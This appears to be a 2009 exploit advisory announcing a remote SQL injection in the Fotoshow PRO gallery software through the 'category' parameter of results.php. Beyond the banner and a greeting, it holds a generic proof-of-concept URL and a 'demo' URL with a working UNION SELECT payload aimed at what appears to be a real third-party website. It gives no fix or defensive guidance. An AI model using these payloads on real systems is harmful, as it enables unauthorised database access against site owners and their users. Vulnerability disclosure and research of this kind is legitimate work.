Fotoshow PRO SQL Injection

`[»]====================================================================================================================[_][-][X]  
[»] [»]  
[»] Fotoshow PRO™ (category) Remote SQL Injection Vulnerability [»]  
[»] [»]  
[»] ======= ------d-------m------ ==== ==== [»]  
[»] || = | |(o o)| | || || || [»]  
[»] || = ||(~)|| || || [»]  
[»] ======= /|\ || || [»]  
[»]==========================================================================================================================[»]  
[»] Author : darkmasking [»]  
[»] Date : August, 15th 2009 [»]  
[»] Contact : darkmasking[at]gmail[dot]com [»]  
[»] Critical Level : Dangerous (*RED) [»]  
[»]--------------------------------------------------------------------------------------------------------------------------[»]  
[»] Affected software description : [»]  
[»] Software : Fotoshow PRO™ [»]  
[»] Vendor : http://www.fotoshowpro.com/ [»]  
[»] Price : $5,000 (USD) http://www.fotoshowpro.com/features.php \0_o/ [»]  
[»]==========================================================================================================================[»]  
[»] [»]  
[»] [~] SQLi POC [»]  
[»] [»]  
[»] [+] http://www.target.com/[path]/results.php?category=[SQli]` [»]  
[»] [»]  
[»] [»]  
[»]--------------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] SQLi POC Demo [»]  
[»] [»]  
[»] [+] http://www.macduffeverton.com/stock/results.php?category=-9999 and 1=0 union select null,version(),null,null,null-- [»]  
[»] [»]  
[»]--------------------------------------------------------------------------------------------------------------------------[»]  
[»] [»]  
[»] [~] Greetz [»]  
[»] [»]  
[»] Sorry bro belum dapat teman, jadi untuk diri sendiri aja! (SELAMAT MERAYAKAN 17an | Semoga Meriah) [»]  
[»] [»]  
[»] [»]  
[»]==========================================================================================================================[»]  
  
`